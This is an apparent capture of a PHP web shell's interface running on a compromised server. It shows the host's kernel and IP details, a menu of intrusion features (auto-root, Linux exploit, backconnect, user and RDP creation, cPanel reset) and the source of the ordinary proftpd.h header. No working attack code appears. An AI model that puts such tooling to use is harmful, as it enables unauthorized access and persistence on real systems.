Linux aries.aptans.com 4.18.0-348.20.1.lve.1.el8.x86_64 #1 SMP Wed Mar 16 08:45:39 EDT 2022 x86_64
Apache
: 135.181.142.107 | : 172.69.59.105
Cant Read [ /etc/named.conf ]
7.4.33
aja
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
include /
proftpd /
[ HOME SHELL ]
Name
Size
Permission
Action
ascii.h
2.61
KB
-rw-r--r--
auth.h
6.23
KB
-rw-r--r--
base.h
3.42
KB
-rw-r--r--
bindings.h
7.84
KB
-rw-r--r--
buildstamp.h
51
B
-rw-r--r--
ccan-json.h
3.59
KB
-rw-r--r--
child.h
1.48
KB
-rw-r--r--
class.h
3.02
KB
-rw-r--r--
cmd.h
4.36
KB
-rw-r--r--
compat.h
2.03
KB
-rw-r--r--
conf.h
3.86
KB
-rw-r--r--
config.h
35.38
KB
-rw-r--r--
configdb.h
5.73
KB
-rw-r--r--
ctrls.h
8.09
KB
-rw-r--r--
data.h
2.52
KB
-rw-r--r--
default_paths.h
2.97
KB
-rw-r--r--
dirtree.h
7.47
KB
-rw-r--r--
display.h
2.46
KB
-rw-r--r--
encode.h
3.67
KB
-rw-r--r--
env.h
1.87
KB
-rw-r--r--
error.h
18.45
KB
-rw-r--r--
event.h
3.5
KB
-rw-r--r--
expr.h
2.16
KB
-rw-r--r--
feat.h
1.27
KB
-rw-r--r--
filter.h
2.06
KB
-rw-r--r--
fsio.h
18.59
KB
-rw-r--r--
ftp.h
8.98
KB
-rw-r--r--
glibc-glob.h
7.12
KB
-rw-r--r--
hanson-tpl.h
4.4
KB
-rw-r--r--
help.h
1.24
KB
-rw-r--r--
ident.h
1.3
KB
-rw-r--r--
inet.h
5.27
KB
-rw-r--r--
jot.h
8.44
KB
-rw-r--r--
json.h
6.13
KB
-rw-r--r--
lastlog.h
1.62
KB
-rw-r--r--
log.h
6.66
KB
-rw-r--r--
logfmt.h
3.3
KB
-rw-r--r--
memcache.h
4.94
KB
-rw-r--r--
mkhome.h
1.53
KB
-rw-r--r--
mod_ctrls.h
3.96
KB
-rw-r--r--
mod_sftp.h
10
KB
-rw-r--r--
mod_tls.h
6.33
KB
-rw-r--r--
modules.h
6.3
KB
-rw-r--r--
netacl.h
2.51
KB
-rw-r--r--
netaddr.h
15.62
KB
-rw-r--r--
netio.h
7.98
KB
-rw-r--r--
openbsd-blowfish.h
2.9
KB
-rw-r--r--
options.h
8.13
KB
-rw-r--r--
os.h
7.22
KB
-rw-r--r--
parser.h
6.2
KB
-rw-r--r--
pidfile.h
1.3
KB
-rw-r--r--
pool.h
4.04
KB
-rw-r--r--
pr-syslog.h
3.47
KB
-rw-r--r--
privs.h
2.55
KB
-rw-r--r--
proctitle.h
1.64
KB
-rw-r--r--
proftpd.h
9.38
KB
-rw-r--r--
random.h
1.29
KB
-rw-r--r--
redis.h
15.58
KB
-rw-r--r--
regexp.h
3.63
KB
-rw-r--r--
response.h
3.07
KB
-rw-r--r--
rlimit.h
1.83
KB
-rw-r--r--
scoreboard.h
4.57
KB
-rw-r--r--
session.h
4.33
KB
-rw-r--r--
sets.h
1.94
KB
-rw-r--r--
signals.h
1.42
KB
-rw-r--r--
stash.h
2.12
KB
-rw-r--r--
str.h
5.59
KB
-rw-r--r--
support.h
4.39
KB
-rw-r--r--
table.h
11.43
KB
-rw-r--r--
throttle.h
1.26
KB
-rw-r--r--
timers.h
3.29
KB
-rw-r--r--
trace.h
2.36
KB
-rw-r--r--
utf8.h
1.37
KB
-rw-r--r--
var.h
4.32
KB
-rw-r--r--
version.h
1.59
KB
-rw-r--r--
xferlog.h
1.34
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : proftpd.h
/* * ProFTPD - FTP server daemon * Copyright (c) 1997, 1998 Public Flood Software * Copyright (c) 1999, 2000 MacGyver aka Habeeb J. Dihu <macgyver@tos.net> * Copyright (c) 2001-2020 The ProFTPD Project team * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Suite 500, Boston, MA 02110-1335, USA. * * As a special exemption, Public Flood Software/MacGyver aka Habeeb J. Dihu * and other respective copyright holders give permission to link this program * with OpenSSL, and distribute the resulting executable, without including * the source code for OpenSSL in the source distribution. */ /* General options */ #ifndef PR_PROFTPD_H #define PR_PROFTPD_H #include "class.h" #include "netaddr.h" #include "options.h" #ifndef TRUE # define TRUE 1 #endif #ifndef FALSE # define FALSE 0 #endif /* Definition of root user/group IDs (non-Unix platforms may have these as * different from 0/0). */ #ifdef __CYGWIN__ # define PR_ROOT_UID 18 # define PR_ROOT_GID 544 #else # define PR_ROOT_UID 0 # define PR_ROOT_GID 0 #endif /* __CYGWIN__ */ #define CALLBACK_FRAME \ unsigned long p1, unsigned long p2, unsigned long p3, void *data #define ASSERT(x) assert(x) #include <assert.h> typedef int (*callback_t)(CALLBACK_FRAME); struct class_struc; struct conn_struc; struct cmd_struc; struct config_struc; struct modret_struc; struct server_struc; typedef struct { struct pool_rec *pool; volatile int sf_flags; /* Session/State flags */ volatile int sp_flags; /* Session/Protection flags */ pr_netaddr_t data_addr; /* Remote data address */ unsigned short data_port; /* Remote data port */ const char *auth_mech; /* Name of the authentication * module/mechanism that successfully * authenticated the client */ const char *rfc2228_mech; /* RFC2228 authentication mechanism * used */ char cwd[PR_TUNABLE_PATH_MAX]; /* Current working directory */ char vwd[PR_TUNABLE_PATH_MAX]; /* Current virtual working directory */ struct config_struc *dir_config; /* Closest matching configuration * for current operation */ /* Process ID of the session */ pid_t pid; /* The uid/gids are manipulated by the PRIVS macros in * privs.h */ int disable_id_switching; /* Disable UID/GID switching */ uid_t uid, ouid; /* Current and original UIDs */ gid_t gid; /* Current GID */ array_header *gids; array_header *groups; /* fsuid/fsgid are used for automagic chown after creation or upload. * They are initially -1, meaning no chown/chgrp. */ uid_t fsuid; /* Saved file UID */ gid_t fsgid; /* Saved file GID */ const char *user, *group; /* Username/groupname after login */ uid_t login_uid; /* UID after login, but before * session.uid is changed */ gid_t login_gid; /* GID after login, but before * session.gid is changed */ pr_table_t *notes; /* Session notes table */ const struct class_struc *conn_class; /* Session class */ const char *proc_prefix; /* The "prefix" of our process name */ int wtmp_log; /* Are we logging to wtmp? */ struct conn_struc *c; /* Control connection */ struct conn_struc *d; /* Data connection */ int hide_password; /* Hide password in logs/ps listing */ const char *chroot_path; /* Chroot directory */ struct config_struc *anon_config; /* Anonymous FTP configuration */ const char *anon_user; /* Email address sent to us */ const char *curr_cmd; /* Current FTP command */ int curr_cmd_id; /* Current FTP command ID */ struct cmd_struc *curr_cmd_rec; /* Current command */ int curr_phase; /* Current handler phase */ struct server_struc *prev_server; /* Previous server_rec, if HOST changed * the main_server pointer. */ off_t restart_pos; /* Restart marked position (REST) */ off_t range_start, range_len; /* Transfer range (RANG) */ struct { struct pool_rec *p; int xfer_type; /* xfer session attributes, default/append/hidden */ int direction; const char *filename; /* As shown to user */ const char *path; /* As used in transfer */ const char *path_hidden; /* As used in hidden stor */ unsigned int bufsize, buflen; struct timeval start_time; /* Time current transfer started */ off_t file_size; /* Total size of file (if known) */ off_t total_bytes; /* Total bytes transferred */ char *bufstart, *buf; } xfer; /* Total number of bytes uploaded in this session. */ off_t total_bytes_in; /* Total number of bytes downloaded in this session. */ off_t total_bytes_out; /* Total number of bytes transferred in this session. */ off_t total_bytes; /* Total number of files uploaded in this session. */ unsigned int total_files_in; /* Total number of files downloaded in this session. */ unsigned int total_files_out; /* Total number of files transferred (both uploaded and downloaded) in * this session. */ unsigned int total_files_xfer; /* Total number of "raw" protocol bytes read in from the network for * the session. */ off_t total_raw_in; /* Total number of "raw" protocol bytes written out to the network for * the session. */ off_t total_raw_out; /* Reason code for end of session/disconnection; in reality, the values * come from the pr_disconnect_reason_e enum in session.h. */ int disconnect_reason; /* Module which disconnected/ended the session */ struct module_struc *disconnect_module; /* Start/connect time of the session, in milliseconds since epoch. */ uint64_t connect_time_ms; } session_t; /* Daemon identity values, defined in main.c */ extern uid_t daemon_uid; extern gid_t daemon_gid; extern array_header *daemon_gids; /* Possible values for xfer.xfer_type, mutually exclusive */ #define STOR_DEFAULT 0 #define STOR_APPEND 1 #define STOR_HIDDEN 2 #define STOR_UNIQUE 3 extern session_t session; extern char AddressCollisionCheck; extern char ServerType; /* Session/State flags */ #define SF_PASSIVE 0x0001 /* Data connection is in passive mode */ #define SF_ABORT 0x0002 /* Abort in progress */ #define SF_XFER 0x0004 /* Transfer in progress */ #define SF_ASCII 0x0010 /* ASCII mode transfer */ #define SF_ASCII_OVERRIDE 0x0020 /* ASCII override this xfer only */ #define SF_ANON 0x0040 /* Anonymous (chroot) login */ #define SF_POST_ABORT 0x0100 /* After abort has occurred */ #define SF_PORT 0x0200 /* Port command given */ #define SF_EPSV_ALL 0x0400 /* EPSV ALL in effect */ #define SF_ALL (SF_PASSIVE|SF_ABORT|SF_XFER|SF_ASCII| \ SF_ASCII_OVERRIDE|SF_ANON|SF_POST_ABORT|SF_PORT| \ SF_EPSV_ALL) /* Session/Protection flags (RFC 2228) */ #define SP_CCC (1 << 0) /* Clear command channel */ #define SP_ENC (1 << 1) /* Privacy protected command */ #define SP_MIC (1 << 2) /* Integrity protected command */ #define SP_CONF (1 << 3) /* Confidentiality protected command */ /* Macro to test global abort flag */ #define XFER_ABORTED (session.sf_flags & SF_ABORT) /* Server Types */ #define SERVER_INETD 0 #define SERVER_STANDALONE 1 /* Signals */ #define RECEIVED_SIG_RESTART 0x0001 #define RECEIVED_SIG_EXIT 0x0002 #define RECEIVED_SIG_SHUTDOWN 0x0004 #define RECEIVED_SIG_SEGV 0x0008 #define RECEIVED_SIG_TERMINATE 0x0010 #define RECEIVED_SIG_XCPU 0x0020 #define RECEIVED_SIG_XFSZ 0x0040 #define RECEIVED_SIG_ABORT 0x0080 #define RECEIVED_SIG_EVENT 0x0100 #define RECEIVED_SIG_CHLD 0x0200 #define RECEIVED_SIG_ALRM 0x0400 /* Timers */ #define PR_TIMER_LOGIN 1 #define PR_TIMER_IDLE 2 #define PR_TIMER_NOXFER 3 #define PR_TIMER_STALLED 4 #define PR_TIMER_SESSION 5 /* Developer code */ #ifdef PR_DEVEL_TIMING # define PR_DEVEL_CLOCK(code) \ { \ int local_errno; \ struct timeval local_before, local_after, local_since; \ timerclear(&local_before); \ timerclear(&local_after); \ timerclear(&local_since); \ (void) gettimeofday(&local_before, NULL); \ (code); \ local_errno = errno; \ (void) gettimeofday(&local_after, NULL); \ timersub(&local_after, &local_before, &local_since); \ (void) pr_trace_msg("timing", 9, "code at %s:%d took %lu sec, %lu usec", __FILE__, __LINE__, (unsigned long) local_since.tv_sec, (unsigned long) local_since.tv_usec); \ errno = local_errno; \ } #else # define PR_DEVEL_CLOCK(code) (code) #endif /* PR_DEVEL_TIMING */ /* Misc Prototypes */ void session_exit(int, void *, int, void *); void set_daemon_rlimits(void); void set_session_rlimits(void); #endif /* PR_PROFTPD_H */
Close